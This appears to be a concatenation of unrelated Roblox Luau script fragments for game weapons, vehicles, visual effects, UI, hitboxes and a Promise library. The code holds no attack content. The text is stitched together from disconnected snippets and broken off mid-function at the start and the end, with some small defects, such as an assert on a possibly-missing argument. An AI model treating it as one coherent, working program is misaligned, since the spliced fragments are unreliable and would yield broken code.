S.ArmC1_UnAimed.Left LWeld.Parent = ArmBase RWeld = Instance.new("Weld") RWeld.Name = "RWeld" RWeld.Part0 = ArmBase RWeld.Part1 = RArmBase RWeld.C0 = ArmC0[2] RWeld.C1 = S.ArmC1_UnAimed.Right RWeld.Parent = ArmBase LWeld2 = Instance.new("Weld") LWeld2.Name = "LWeld" LWeld2.Part0 = LArmBase LWeld2.Part1 = LArm LWeld2.Parent = LArmBase RWeld2 = Instance.new("Weld") RWeld2.Name = "RWeld" RWeld2.Part0 = RArmBase RWeld2.Part1 = RArm RWeld2.Parent = RArmBase if S.PlayerArms then FakeLArm = LArm:Clone() FakeLArm.Parent = PlayerFolder FakeLArm.Transparency = S.FakeArmTransparency FakeLArm:BreakJoints() LArm.Transparency = 1 local FakeLWeld = Instance.new("Weld") FakeLWeld.Part0 = FakeLArm FakeLWeld.Part1 = LArm FakeLWeld.Parent = FakeLArm FakeRArm = RArm:Clone() FakeRArm.Parent = PlayerFolder FakeRArm.Transparency = S.FakeArmTransparency FakeRArm:BreakJoints() RArm.Transparency = 1 local FakeRWeld = Instance.new("Weld") FakeRWeld.Part0 = FakeRArm FakeRWeld.Part1 = RArm FakeRWeld.Parent = FakeRArm Instance.new("Humanoid", PlayerFolder) for _,Obj in pairs(Character:GetChildren()) do if Obj:IsA("CharacterMesh") or Obj:IsA("Shirt") then Obj:Clone().Parent = PlayerFolder end end else local ArmTable = CreateArms() ArmTable[1].Model.Parent = PlayerFolder ArmTable[2].Model.Parent = PlayerFolder FakeLArm = ArmTable[1].ArmPart LArm.Transparency = 1 local FakeLWeld = Instance.new("Weld") FakeLWeld.Part0 = FakeLArm FakeLWeld.Part1 = LArm FakeLWeld.Parent = FakeLArm FakeRArm = ArmTable[2].ArmPart RArm.Transparency = 1 local FakeRWeld = Instance.new("Weld") FakeRWeld.Part0 = FakeRArm FakeRWeld.Part1 = RArm FakeRWeld.Parent = FakeRArm end --------------------[ MODIFYING THE GUN ]------------------------------------- for _, Tab in pairs(Parts) do local Weld = Instance.new("Weld") Weld.Name = "MainWeld" Weld.Part0 = Handle Weld.Part1 = Tab.Obj Weld.C0 = Tab.Obj.WeldCF.Value Weld.Parent = Handle Tab.Weld = Weld end Grip = RArm:WaitForChild("RightGrip") local HandleCF = ArmBase.CFrame * ArmC0[2] * S.ArmC1_Aimed.Right:inverse() * CF(0, -1, 0, 1, 0, 0, 0, 0, 1, 0, -1, 0) local HandleOffset = AimPart.CFrame:toObjectSpace(Handle.CFrame) Aimed_GripCF = (Head.CFrame * HandleOffset):toObjectSpace(HandleCF) --------------------[ CONNECTIONS ]------------------------------------------- INSERT(Connections, Humanoid.Died:connect(function() OnUnequipped(true) end)) INSERT(Connections, M2.Button1Down:connect(function() MB1_Down = true if S.GunType.Auto and (not S.GunType.Semi) and (not S.GunType.Burst) then if (not CanFire) then return end CanFire = false if (not Running) and (not Knifing) then CurrentSpread = ( Aimed and S.Spread.Aimed or ((Idleing and (not Walking)) and S.Spread.Hipfire or S.Spread.Walking) ) while MB1_Down and (not Reloading) do if Knifing then break end if Running then break end if Ammo.Value > 0 then Ammo.Value = Ammo.Value - 1 if Humanoid.Health ~= 0 then if Aimed and Run_Key_Pressed and S.UnSteadyOnFire then Run_Key_Pressed = false CurrentSteadyTime = 0 end Fire_Gun() end end if Ammo.Value == 0 and S.AutoReload then wait(0.2) Reload() end wait(60 / S.FireRate) end end CanFire = true elseif (not S.GunType.Auto) and S.GunType.Burst then if (not CanFire) then return end CanFire = false if (not Running) and (not Knifing) then CurrentSpread = ( Aimed and S.Spread.Aimed or ((Idleing and (not Walking)) and S.Spread.Hipfire or S.Spread.Walking) ) for i = 1, S.BurstAmount do if Ammo.Value > 0 then Ammo.Value = Ammo.Value - 1 if Humanoid.Health ~= 0 then if Aimed and Run_Key_Pressed and S.UnSteadyOnFire then Run_Key_Pressed = false CurrentSteadyTime = 0 end Fire_Gun() end end if Ammo.Value == 0 and S.AutoReload then wait(0.2) Reload() break end wait(S.BurstTime / S.BurstAmount) end end wait(S.BurstWait) CanFire = true elseif (not S.GunType.Auto) and S.GunType.Semi then if (not CanFire) then return end CanFire = false if (not Running) and (not Knifing) then CurrentSpread = ( Aimed and S.Spread.Aimed or ((Idleing and (not Walking)) and S.Spread.Hipfire or S.Spread.Walking) ) if Ammo.Value > 0 then Ammo.Value = Ammo.Value - 1 if Humanoid.Health ~= 0 then if Aimed and Run_Key_Pressed and S.UnSteadyOnFire then Run_Key_Pressed = false CurrentSteadyTime = 0 end Fire_Gun() end end if Ammo.Value == 0 and S.AutoReload then wait(0.2) Reload() end wait(60 / S.FireRate) end CanFire = true elseif (not S.GunType.Auto) and (not S.GunType.Semi) and (not S.GunType.Burst) and S.GunType.Shot then if (not CanFire) then return end CanFire = false if (not Running) and (not Knifing) then CurrentSpread = ( Aimed and S.Spread.Aimed or ((Idleing and (not Walking)) and S.Spread.Hipfire or S.Spread.Walking) ) if Ammo.Value > 0 then Ammo.Value = Ammo.Value - 1 if Humanoid.Health ~= 0 then if Aimed and Run_Key_Pressed and S.UnSteadyOnFire then Run_Key_Pressed = false CurrentSteadyTime = 0 end Fire_Gun() end end if Ammo.Value == 0 and S.AutoReload then wait(0.2) Reload() end wait(60 / S.FireRate) end CanFire = true elseif (not S.GunType.Auto) and (not S.GunType.Semi) and S.GunType.Burst and (not S.GunType.Shot) then if (not CanFire) then return end CanFire = false if (not Running) and (not Knifing) then CurrentSpread = ( Aimed and S.Spread.Aimed or ((Idleing and (not Walking)) and S.Spread.Hipfire or S.Spread.Walking) ) for i = 1, S.BurstAmount do if Ammo.Value > 0 then Ammo.Value = Ammo.Value - 1 if Humanoid.Health ~= 0 then if Aimed and Run_Key_Pressed and S.UnSteadyOnFire then Run_Key_Pressed = false CurrentSteadyTime = 0 end Fire_Gun() end end if Ammo.Value == 0 and S.AutoReload then wait(0.2) Reload() break end wait(S.BurstTime / S.BurstAmount) end end wait(S.BurstWait) CanFire = true elseif (not S.GunType.Auto) and (not S.GunType.Burst) and (not S.GunType.Shot) and S.GunType.Explosive then if (not CanFire) then return end CanFire = false if (not Running) and (not Knifing) then CurrentSpread = ( Aimed and S.Spread.Aimed or ((Idleing and (not Walking)) and S.Spread.Hipfire or S.Spread.Walking) ) if Ammo.Value > 0 then Ammo.Value = Ammo.Value - 1 if Humanoid.Health ~= 0 then if Aimed and Run_Key_Pressed and S.UnSteadyOnFire then Run_Key_Pressed = false CurrentSteadyTime = 0 end Fire_Gun() end end if Ammo.Value == 0 and S.AutoReload then wait(0.2) Reload() end wait(60 / S.FireRate) end CanFire = true end end)) INSERT(Connections, M2.Button1Up:connect(function() MB1_Down = false CurrentSpread = ( Aimed and S.Spread.Aimed or ((Idleing and (not Walking)) and S.Spread.Hipfire or S.Spread.Walking) ) end)) INSERT(Connections, M2.Button2Down:connect(function() if S.HoldMouseOrKeyToADS then if (not AimingIn) and (not Aimed) then AimingIn = true AimGun() AimingIn = false end else if Aimed then UnAimGun() else AimGun() end end end)) INSERT(Connections, M2.Button2Up:connect(function() if S.HoldMouseOrKeyToADS then if (not AimingOut) and Aimed then AimingOut = true UnAimGun() AimingOut = false end end end)) INSERT(Connections, M2.KeyDown:connect(KeyDown)) INSERT(Connections, M2.KeyUp:connect(KeyUp)) INSERT(Connections, RS:connect(function() local CrossHair = Gui_Clone:WaitForChild("CrossHair") local HitMarker = Gui_Clone:WaitForChild("HitMarker") local HUD = Gui_Clone:WaitForChild("HUD") local AdBlock = Gui_Clone:WaitForChild("AdNeed") AdBlock.Visible = true AdBlock.Position = UDim2.new(0, 0, 0, 0) AdBlock.Size = UDim2.new(1, 0, 0, 20) AdBlock.TextStrokeTransparency = 0.9 AdBlock.TextTransparency = 0.8 AdBlock.Font = Enum.Font.SourceSansItalic AdBlock.FontSize = Enum.FontSize.Size14 AdBlock.TextColor3 = Color3.new(255,255,255) AdBlock.Text = ("~ NOISUFOBRUT & TEHYUM YB ~"):reverse() CrossHair.Position = UDim2.new(0, M2.X, 0, M2.Y) HitMarker.Position = UDim2.new(0, M2.X - 13, 0, M2.Y - 13) local Clip_Ammo_L = HUD:WaitForChild("Ammo"):WaitForChild("Clip") local Stored_Ammo_L = HUD:WaitForChild("Ammo"):WaitForChild("Stored") Clip_Ammo_L.Text = Ammo.Value Clip_Ammo_L.TextColor3 = (Ammo.Value <= (ClipSize.Value / 7) and Color3.new(1, 1, 1) or Color3.new(1, 1, 1)) Stored_Ammo_L.Text = StoredAmmo.Value Stored_Ammo_L.TextColor3 = (StoredAmmo.Value <= (ClipSize.Value * 1) and Color3.new(1, 1, 1) or Color3.new(1, 1, 1)) local Mode = HUD:WaitForChild("Mode"):WaitForChild("Main") if S.GunType.Auto and (not S.GunType.Semi) and (not S.GunType.Burst) and (not S.GunType.Explosive) then Mode.Text = "Auto" elseif (not S.GunType.Auto) and S.GunType.Burst and (not S.GunType.Explosive) then Mode.Text = "Burst" elseif (not S.GunType.Auto) and S.GunType.Semi and (not S.GunType.Explosive) then Mode.Text = "Semi" elseif (not S.GunType.Auto) and (not S.GunType.Semi) and (not S.GunType.Burst) and S.GunType.Shot and (not S.GunType.Explosive) then Mode.Text = "Shotgun" elseif (not S.GunType.Auto) and (not S.GunType.Semi) and S.GunType.Burst and (not S.GunType.Shot) and (not S.GunType.Explosive) then Mode.Text = "Burst" elseif S.GunType.Explosive then Mode.Text = "Explosive" end HUD.Health.Num.Text = CEIL(Humanoid.Health).."%" HUD.Health.Num.TextColor3 = ( (Humanoid.Health > 200 / 3) and Color3.new(1, 1, 1) or (Humanoid.Health <= 200 / 3 and Humanoid.Health > 100 / 3) and Color3.new(1, 1, 0) or (Humanoid.Health <= 100 / 3) and Color3.new(1, 0, 0) ) end)) INSERT(Connections, RS:connect(function() local MDir = M2.UnitRay.Direction.unit local HRPCF = HRP.CFrame * CF(0, 1.5, 0) * CF(Humanoid.CameraOffset) Neck.C0 = Torso.CFrame:toObjectSpace(HRPCF) if MDir.y == MDir.y then HeadRot = -math.asin(MDir.y) Neck.C1 = CFANG(HeadRot,0,0) local RotTarget = VEC3(MDir.x,0,MDir.z) local Rotation = CF(Torso.Position,Torso.Position + RotTarget) BG.cframe = Rotation local MouseX = FLOOR((M2.X - M2.ViewSizeX / 2) + 0.5) local MouseY = FLOOR((M2.Y - M2.ViewSizeY / 2) + 0.5) local AppliedMaxTorque = nil if (Camera.CoordinateFrame.p - Head.Position).magnitude < 0.6 then if (MouseX >= 50 or MouseX <= -50) or (MouseY >= 50 or MouseY <= -50) then AppliedMaxTorque = VEC3() else AppliedMaxTorque = VEC3(HUGE,HUGE,HUGE) end else AppliedMaxTorque = VEC3(HUGE,HUGE,HUGE) end if (not S.RotateWhileSitting) and Humanoid.Sit then AppliedMaxTorque = VEC3() end BG.maxTorque = AppliedMaxTorque end end)) INSERT(Connections, RS:connect(function() local Forward = (Keys["w"] or Keys[string.char(17)]) local Backward = (Keys["s"] or Keys[string.char(18)]) local Right = (Keys["d"] or Keys[string.char(19)]) local Left = (Keys["a"] or Keys[string.char(20)]) local WalkingForward = (Forward and (not Backward)) local WalkingBackward = ((not Forward) and Backward) local WalkingRight = (Right and (not Left)) local WalkingLeft = ((not Right) and Left) ArmTilt = ( ((WalkingForward or WalkingBackward) and WalkingRight) and 5 or ((WalkingForward or WalkingBackward) and WalkingLeft) and -5 or ((not (WalkingForward and WalkingBackward)) and WalkingRight) and 10 or ((not (WalkingForward and WalkingBackward)) and WalkingLeft) and -10 or 0 ) end)) INSERT(Connections, RS:connect(function() if (not Idleing) and Walking then if Running then Humanoid.WalkSpeed = S.SprintSpeed else local SpeedRatio = (S.AimedWalkSpeed / S.BaseWalkSpeed) if Stance == 0 then Humanoid.WalkSpeed = (Aimed and S.AimedWalkSpeed or S.BaseWalkSpeed) elseif Stance == 1 then Humanoid.WalkSpeed = (Aimed and S.CrouchWalkSpeed * SpeedRatio or S.CrouchWalkSpeed) elseif Stance == 2 then Humanoid.WalkSpeed = (Aimed and S.ProneWalkSpeed * SpeedRatio or S.ProneWalkSpeed) end end else Humanoid.WalkSpeed = 16 end StanceSway = 1 - (0.25 * Stance) end)) --------------------[ ANIMATE GUN ]------------------------------------------- Animate() end end function OnUnequipped(DeleteTool) if Selected then Selected = false BreakReload = true --------------------[ MODIFYING THE PLAYER ]---------------------------------- Camera.FieldOfView = 90 game:GetService("UserInputService").MouseIconEnabled = true Gui_Clone:Destroy() BG:Destroy() RArm.Transparency = 0 LArm.Transparency = 0 Shoulders.Right.Part1 = RArm Shoulders.Left.Part1 = LArm Neck.C0 = PrevNeckCF.C0 Neck.C1 = PrevNeckCF.C1 Humanoid.WalkSpeed = 16 --------------------[ RESETING THE TOOL ]------------------------------------- Gun_Ignore:Destroy() Aimed = false for _, Tab in pairs(Parts) do Tab.Weld:Destroy() Tab.Weld = nil end for _,c in pairs(Connections) do c:disconnect() end Connections = {} if DeleteTool then Camera:ClearAllChildren() Gun:Destroy() end if S.StandOnDeselect and Stance ~= 0 then Stand(true) end end end Gun.Equipped:connect(OnEquipped) Gun.Unequipped:connect(function() OnUnequipped(false) end)
-- Constants
local DEBUG = false -- Whether or not to use debugging features of FastCast, such as cast visualization. local BULLET_SPEED = 100 -- Studs/second - the speed of the bullet local BULLET_MAXDIST = 1000 -- The furthest distance the bullet can travel local BULLET_GRAVITY = Vector3.new(0, -workspace.Gravity, 0) -- The amount of gravity applied to the bullet in world space (so yes, you can have sideways gravity) local MIN_BULLET_SPREAD_ANGLE = 1 -- THIS VALUE IS VERY SENSITIVE. Try to keep changes to it small. The least accurate the bullet can be. This angle value is in degrees. A value of 0 means straight forward. Generally you want to keep this at 0 so there's at least some chance of a 100% accurate shot. local MAX_BULLET_SPREAD_ANGLE = 4 -- THIS VALUE IS VERY SENSITIVE. Try to keep changes to it small. The most accurate the bullet can be. This angle value is in degrees. A value of 0 means straight forward. This cannot be less than the value above. A value of 90 will allow the gun to shoot sideways at most, and a value of 180 will allow the gun to shoot backwards at most. Exceeding 180 will not add any more angular varience. local FIRE_DELAY = 0.05 -- The amount of time that must pass after firing the gun before we can fire again. local BULLETS_PER_SHOT = 1 -- The amount of bullets to fire every shot. Make this greater than 1 for a shotgun effect. local PIERCE_DEMO = true -- True if the pierce demo should be used. See the CanRayPierce function for more info.
-- KEY SETTINGS
local Headlights = Enum.KeyCode.L local RunningLights = Enum.KeyCode.N local FogLights = Enum.KeyCode.J local SignalLeft = Enum.KeyCode.Z local SignalRight = Enum.KeyCode.C local Hazards = Enum.KeyCode.X local Popups = Enum.KeyCode.B local Flash = Enum.KeyCode.L
-- If this script is added to an already-running game, this will set up the GUI for the players already in-game:
for _,p in pairs(game.Players:GetPlayers()) do repeat wait() until (p:findFirstChild("PlayerGui")) if (p.Character) then gui:clone().Parent = p.PlayerGui end characterHandling(p) end game.Players.PlayerAdded:connect(function(p) characterHandling(p) end)
-- Variable Viaduct
local ModelPad = script.Parent.Parent local PhysPad = ModelPad.PhysPad local Configs = ModelPad.Configs local JumpHeight = Configs.JumpHeight
--[=[ @param fn (player: Player, ...: any) -> nil -- The function to connect @return Connection Connect a function to the signal. Anytime a matching ClientRemoteSignal on a client fires, the connected function will be invoked with the arguments passed by the client. ]=]
function RemoteSignal:Connect(fn) if self._directConnect then return self._re.OnServerEvent:Connect(fn) else return self._signal:Connect(fn) end end function RemoteSignal:_processOutboundMiddleware(player: Player?, ...: any) if not self._hasOutbound then return ... end local args = table.pack(...) for _,middlewareFunc in ipairs(self._outbound) do local middlewareResult = table.pack(middlewareFunc(player, args)) if not middlewareResult[1] then return table.unpack(middlewareResult, 2, middlewareResult.n) end args.n = #args end return table.unpack(args, 1, args.n) end
--module is tagged "EffectModule" --client gets all modules with this tag and calls initialize()
local CameraShaker = require(game.ReplicatedStorage.Modules.CameraShaker) local camera = game.Workspace.CurrentCamera local module = {} local camShake = CameraShaker.new(Enum.RenderPriority.Camera.Value, function(shakeCFrame) camera.CFrame = camera.CFrame * shakeCFrame end) camShake:Start() local minimumDistance = 300 function module.Initialize() while script.Parent and script.Parent ~= nil do wait(math.random(60,120)) local distance = (camera.CFrame.Position - script.Parent.Position).Magnitude if distance <= minimumDistance then camShake:Shake(CameraShaker.Presets.Earthquake) end script.Parent.Erupt:Play() script.Parent.ParticleEmitter.Enabled = true wait(8) script.Parent.ParticleEmitter.Enabled = false end end return module
--PlayerGui:SetTopbarTransparency(0)
local screen = Instance.new("ScreenGui") screen.Parent = PlayerGui local textLabel = Instance.new("TextLabel") textLabel.Text = "Loading" textLabel.BackgroundTransparency = 1 textLabel.Position = UDim2.new(0.5,0,.5,0) textLabel.TextStrokeColor3 = Color3.new(0,0,0) textLabel.TextStrokeTransparency = 0 textLabel.TextColor3 = Color3.new(1,1,1) textLabel.AnchorPoint = Vector2.new(.5,.5) textLabel.Size = UDim2.new(.6,0,.5,0) textLabel.Font = Enum.Font.ArialBold textLabel.TextScaled = true textLabel.Parent = screen script.Parent:RemoveDefaultLoadingScreen() local count = 0 local start = tick() while tick() - start < 6 do textLabel.Text = "Loading " .. string.rep(".",count) count = (count + 1) % 4 wait(.3) end screen.Parent = nil
--Dupes a part from the template.
local function MakeFromTemplate(template: BasePart, currentCacheParent: Instance): BasePart local part: BasePart = template:Clone() -- ^ Ignore W000 type mismatch between Instance and BasePart. False alert. part.CFrame = CF_REALLY_FAR_AWAY part.Anchored = true part.Parent = currentCacheParent return part end function PartCacheStatic.new(template: BasePart, numPrecreatedParts: number?, currentCacheParent: Instance?): PartCache local newNumPrecreatedParts: number = numPrecreatedParts or 5 local newCurrentCacheParent: Instance = currentCacheParent or workspace --PrecreatedParts value. --Same thing. Ensure it's a number, ensure it's not negative, warn if it's really huge or 0. assert(numPrecreatedParts > 0, "PrecreatedParts can not be negative!") assertwarn(numPrecreatedParts ~= 0, "PrecreatedParts is 0! This may have adverse effects when initially using the cache.") assertwarn(template.Archivable, "The template's Archivable property has been set to false, which prevents it from being cloned. It will temporarily be set to true.") local oldArchivable = template.Archivable template.Archivable = true local newTemplate: BasePart = template:Clone() -- ^ Ignore W000 type mismatch between Instance and BasePart. False alert. template.Archivable = oldArchivable template = newTemplate local object: PartCache = { Open = {}, InUse = {}, CurrentCacheParent = newCurrentCacheParent, Template = template, ExpansionSize = 10 } setmetatable(object, PartCacheStatic) -- Below: Ignore type mismatch nil | number and the nil | Instance mismatch on the table.insert line. for _ = 1, newNumPrecreatedParts do table.insert(object.Open, MakeFromTemplate(template, object.CurrentCacheParent)) end object.Template.Parent = nil return object -- ^ Ignore mismatch here too end
--------------------------------------------------------------------------------
local Car = script.Parent.Car.Value local Values = script.Parent.Values local _Tune = require(Car["A-Chassis Tune"]) local Handler = Car:WaitForChild("INTERIOR_PACK") local FE = workspace.FilteringEnabled local INT_PCK = nil for _,Child in pairs(Car.Misc:GetDescendants()) do if Child:IsA("ObjectValue") and Child.Name == "INTERIOR_PACK" then INT_PCK = Child.Value end end if INT_PCK == nil then script:Destroy() end local HB = INT_PCK:FindFirstChild("Handbrake") local PS = INT_PCK:FindFirstChild("Paddle_Shifter") local PD = INT_PCK:FindFirstChild("Pedals") local SH = INT_PCK:FindFirstChild("Shifter") local SW = INT_PCK:FindFirstChild("Steering_Wheel") local Val = 0 local SEQ = 1 if SEQ_INVERTED then SEQ = -1 end local PED = 1 if PED_INVERTED then PED = -1 end local Gear = Values.Gear.Changed:Connect(function() local Gear = Values.Gear.Value local Shift = "Down" if Gear > Val then Shift = "Up" end Val = Gear if FE then Handler:FireServer("Gear",Gear,Shift,PADDLE_SHIFTER,PEDALS,SHIFTER,PS,PD,SH,PADDLE_ANG,PADDLE_INVERTED,SHIFTER_TYPE,SEQ,SHIFT_TIME,VERTICAL_ANG,HORIZONTAL_ANG) else if PEDALS and PD ~= nil then PD.C.Motor.DesiredAngle = math.rad(PEDAL_ANGLE)*PED end if PADDLE_SHIFTER and PS ~= nil then if Shift == "Up" then if PADDLE_INVERTED then PS.L.Motor.DesiredAngle = math.rad(PADDLE_ANG) else PS.R.Motor.DesiredAngle = math.rad(PADDLE_ANG) end else if PADDLE_INVERTED then PS.R.Motor.DesiredAngle = math.rad(PADDLE_ANG) else PS.L.Motor.DesiredAngle = math.rad(PADDLE_ANG) end end wait(SHIFT_TIME/2) PS.R.Motor.DesiredAngle = 0 PS.L.Motor.DesiredAngle = 0 end if SHIFTER and SH ~= nil then local MOT1 = SH.W1.Motor local MOT2 = SH.W2.Motor MOT2.DesiredAngle = 0 wait(SHIFT_TIME/2) if SHIFTER_TYPE == "Seq" then if Shift == "Up" then MOT2.DesiredAngle = math.rad(VERTICAL_ANG)*SEQ wait(SHIFT_TIME/2) MOT2.DesiredAngle = 0 else MOT2.DesiredAngle = -math.rad(VERTICAL_ANG)*SEQ wait(SHIFT_TIME/2) MOT2.DesiredAngle = 0 end else if Gear == -1 then MOT1.DesiredAngle = math.floor((#_Tune["Ratios"]-1)/4)*2*math.rad(HORIZONTAL_ANG) wait(SHIFT_TIME/2) if #_Tune["Ratios"] % 2 == 0 then MOT2.DesiredAngle = math.rad(VERTICAL_ANG) else MOT2.DesiredAngle = -math.rad(VERTICAL_ANG) end elseif Gear == 0 then MOT1.DesiredAngle = 0 elseif Gear > 0 then if Shift == "Up" then if Val == 0 then MOT1.DesiredAngle = -math.floor((#_Tune["Ratios"]-1)/4)*math.rad(HORIZONTAL_ANG) wait(SHIFT_TIME/2) MOT2.DesiredAngle = math.rad(VERTICAL_ANG) elseif Gear % 2 == 0 then MOT2.DesiredAngle = -math.rad(VERTICAL_ANG) else MOT1.DesiredAngle = MOT1.DesiredAngle + math.rad(HORIZONTAL_ANG) wait(SHIFT_TIME/2) MOT2.DesiredAngle = math.rad(VERTICAL_ANG) end else if Gear % 2 == 0 then MOT1.DesiredAngle = MOT1.DesiredAngle - math.rad(HORIZONTAL_ANG) wait(SHIFT_TIME/2) MOT2.DesiredAngle = -math.rad(VERTICAL_ANG) else MOT2.DesiredAngle = math.rad(VERTICAL_ANG) end end end end end if PEDALS and PD ~= nil then PD.C.Motor.DesiredAngle = 0 end end end) local Throttle = Values.Throttle.Changed:Connect(function() local Throttle = Values.Throttle.Value if FE then Handler:FireServer("Throttle",Throttle,PEDALS,PD,PEDAL_ANGLE,PED) else if PEDALS and PD ~= nil then PD.T.Motor.DesiredAngle = math.rad(PEDAL_ANGLE*Throttle)*PED end end end) local Brake = Values.Brake.Changed:Connect(function() local Brake = Values.Brake.Value if FE then Handler:FireServer("Brake",Brake,PEDALS,PD,PEDAL_ANGLE,PED) else if PEDALS and PD ~= nil then PD.B.Motor.DesiredAngle = math.rad(PEDAL_ANGLE*Brake)*PED end end end) local PBrake = Values.PBrake.Changed:Connect(function() local PBrake = Values.PBrake.Value if FE then Handler:FireServer("PBrake",PBrake,HANDBRAKE,HB,HANDBRAKE_ANG) else if HANDBRAKE and HB ~= nil then if PBrake then HB.W.Motor.DesiredAngle = math.rad(HANDBRAKE_ANG) else HB.W.Motor.DesiredAngle = 0 end end end end) game["Run Service"].Stepped:connect(function() local direction = Car.Wheels.FR.Base.CFrame:vectorToObjectSpace(Car.Wheels.FR.Arm.CFrame.lookVector) local direction2 = Car.Wheels.FL.Base.CFrame:vectorToObjectSpace(Car.Wheels.FL.Arm.CFrame.lookVector) local angle = ((math.atan2(-direction.Z, direction.X))+(math.atan2(-direction2.Z, direction2.X)))/2 local Steer = -(angle-1.57)*STEER_MULT if STEERING_WHEEL and SW ~= nil then SW.W.Motor.DesiredAngle = Steer end end)
--- Runs for the very first time whenever a hitbox is created --- Do not run this more than once, you may introduce memory leaks if you do so
function Hitbox:_Init() if not self.HitboxObject then return end local tagConnection: RBXScriptConnection local function onTagRemoved(instance: Instance) if instance == self.HitboxObject then tagConnection:Disconnect() self:Destroy() end end self:Recalibrate() table.insert(ActiveHitboxes, self) CollectionService:AddTag(self.HitboxObject, self.Tag) tagConnection = CollectionService:GetInstanceRemovedSignal(self.Tag):Connect(onTagRemoved) end local function Init() --- Reserve table sizing for solver tables local solversCache: {[number]: any} = table.create(#Solvers:GetChildren()) DEFAULT_SIMULATION_TYPE:Connect(function(step: number) --- Iterate through all the hitboxes for i = #ActiveHitboxes, 1, -1 do --- Skip this hitbox if the hitbox will be garbage collected this frame if ActiveHitboxes[i].HitboxPendingRemoval then local hitbox: any = table.remove(ActiveHitboxes, i) table.clear(hitbox) setmetatable(hitbox, nil) continue end for _: number, point: Point in ipairs(ActiveHitboxes[i].HitboxRaycastPoints) do --- Reset this point if the hitbox is inactive if not ActiveHitboxes[i].HitboxActive then point.LastPosition = nil continue end --- Calculate rays local castMode: any = solversCache[point.CastMode] local origin: Vector3, direction: Vector3 = castMode:Solve(point) local raycastResult: RaycastResult = workspace:Raycast(origin, direction, ActiveHitboxes[i].RaycastParams) --- Draw debug rays if ActiveHitboxes[i].Visualizer then local adornmentData: AdornmentData? = VisualizerCache:GetAdornment() if adornmentData then local debugStartPosition: CFrame = castMode:Visualize(point) adornmentData.Adornment.Length = direction.Magnitude adornmentData.Adornment.CFrame = debugStartPosition end end --- Update the current point's position point.LastPosition = castMode:UpdateToNextPosition(point) --- If a ray detected a hit if raycastResult then local part: BasePart = raycastResult.Instance local model: Instance? local humanoid: Instance? local target: Instance? if ActiveHitboxes[i].DetectionMode == 1 then model = part:FindFirstAncestorOfClass("Model") if model then humanoid = model:FindFirstChildOfClass("Humanoid") end target = humanoid else target = part end --- Found a target. Fire the OnHit event if target then if ActiveHitboxes[i].DetectionMode <= 2 then if ActiveHitboxes[i].HitboxHitList[target] then continue else ActiveHitboxes[i].HitboxHitList[target] = true end end ActiveHitboxes[i].OnHit:Fire(part, humanoid, raycastResult, point.Group) end end --- Hitbox Time scheduler if ActiveHitboxes[i].HitboxStopTime > 0 then if ActiveHitboxes[i].HitboxStopTime <= os.clock() then ActiveHitboxes[i]:HitStop() end end --- OnUpdate event that fires every frame for every point ActiveHitboxes[i].OnUpdate:Fire(point.LastPosition) --- Update SignalType if ActiveHitboxes[i].OnUpdate._signalType ~= ActiveHitboxes[i].SignalType then ActiveHitboxes[i].OnUpdate._signalType = ActiveHitboxes[i].SignalType ActiveHitboxes[i].OnHit._signalType = ActiveHitboxes[i].SignalType end end end local adornmentsInUse: number = #VisualizerCache._AdornmentInUse --- Iterates through all the debug rays to see if they need to be cached or cleaned up if adornmentsInUse > 0 then for i = adornmentsInUse, 1, -1 do if (os.clock() - VisualizerCache._AdornmentInUse[i].LastUse) >= DEFAULT_DEBUGGER_RAY_DURATION then local adornment: AdornmentData? = table.remove(VisualizerCache._AdornmentInUse, i) if adornment then VisualizerCache:ReturnAdornment(adornment) end end end end end) --- Require all solvers for castMode: string, enum: number in pairs(Hitbox.CastModes) do local moduleScript: Instance? = Solvers:FindFirstChild(castMode) if moduleScript then local load = require(moduleScript) solversCache[enum] = load end end end Init() return Hitbox
--[=[ Converts this arbitrary value into an observable suitable for use in properties. @param value any @return Observable? ]=]
function Blend.toPropertyObservable(value) if Observable.isObservable(value) then return value elseif typeof(value) == "Instance" then -- IntValue, ObjectValue, et cetera if ValueBaseUtils.isValueBase(value) then return RxValueBaseUtils.observeValue(value) end elseif type(value) == "table" then if ValueObject.isValueObject(value) then return ValueObjectUtils.observeValue(value) elseif Promise.isPromise(value) then return Rx.fromPromise(value) elseif value.Observe then return value:Observe() end end return nil end
--[[ Intended for use in tests. Similar to await(), but instead of yielding if the promise is unresolved, _unwrap will throw. This indicates an assumption that a promise has resolved. ]]
function Promise.prototype:_unwrap() if self._status == Promise.Status.Started then error("Promise has not resolved or rejected.", 2) end local success = self._status == Promise.Status.Resolved return success, unpack(self._values, 1, self._valuesLength) end function Promise.prototype:_resolve(...) if self._status ~= Promise.Status.Started then if Promise.is((...)) then (...):_consumerCancelled(self) end return end -- If the resolved value was a Promise, we chain onto it! if Promise.is((...)) then -- Without this warning, arguments sometimes mysteriously disappear if select("#", ...) > 1 then local message = string.format( "When returning a Promise from andThen, extra arguments are " .. "discarded! See:\n\n%s", self._source ) warn(message) end local chainedPromise = ... local promise = chainedPromise:andThen( function(...) self:_resolve(...) end, function(...) local maybeRuntimeError = chainedPromise._values[1] -- Backwards compatibility < v2 if chainedPromise._error then maybeRuntimeError = Error.new({ error = chainedPromise._error, kind = Error.Kind.ExecutionError, context = "[No stack trace available as this Promise originated from an older version of the Promise library (< v2)]", }) end if Error.isKind(maybeRuntimeError, Error.Kind.ExecutionError) then return self:_reject(maybeRuntimeError:extend({ error = "This Promise was chained to a Promise that errored.", trace = "", context = string.format( "The Promise at:\n\n%s\n...Rejected because it was chained to the following Promise, which encountered an error:\n", self._source ), })) end self:_reject(...) end ) if promise._status == Promise.Status.Cancelled then self:cancel() elseif promise._status == Promise.Status.Started then -- Adopt ourselves into promise for cancellation propagation. self._parent = promise promise._consumers[self] = true end return end self._status = Promise.Status.Resolved self._valuesLength, self._values = pack(...) -- We assume that these callbacks will not throw errors. for _, callback in ipairs(self._queuedResolve) do coroutine.wrap(callback)(...) end self:_finalize() end function Promise.prototype:_reject(...) if self._status ~= Promise.Status.Started then return end self._status = Promise.Status.Rejected self._valuesLength, self._values = pack(...) -- If there are any rejection handlers, call those! if not isEmpty(self._queuedReject) then -- We assume that these callbacks will not throw errors. for _, callback in ipairs(self._queuedReject) do coroutine.wrap(callback)(...) end else -- At this point, no one was able to observe the error. -- An error handler might still be attached if the error occurred -- synchronously. We'll wait one tick, and if there are still no -- observers, then we should put a message in the console. local err = tostring((...)) coroutine.wrap(function() Promise._timeEvent:Wait() -- Someone observed the error, hooray! if not self._unhandledRejection then return end -- Build a reasonable message local message = string.format( "Unhandled Promise rejection:\n\n%s\n\n%s", err, self._source ) if Promise.TEST then -- Don't spam output when we're running 